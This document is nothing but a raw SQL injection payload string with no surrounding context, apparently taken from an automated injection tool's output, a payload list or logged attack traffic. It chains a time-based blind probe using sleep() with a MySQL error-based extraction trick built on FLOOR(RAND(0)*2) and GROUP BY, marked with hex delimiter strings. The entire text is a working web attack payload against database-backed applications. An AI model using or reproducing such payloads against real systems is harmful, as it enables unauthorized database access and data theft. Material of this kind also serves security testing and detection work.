(select(0)from(select(sleep(8.11)))v)/+(SELECT brDQ WHERE 8672=8672 OR ROW(5397,5151)>(SELECT COUNT(*),CONCAT(0x7176786a71,(SELECT (ELT(5397=5397,1))),0x7170627671,FLOOR(RAND(0)*2))x FROM (SELECT 8520 UNION SELECT 7160 UNION SELECT 3371 UNION SELECT 3783)a GROUP BY x))+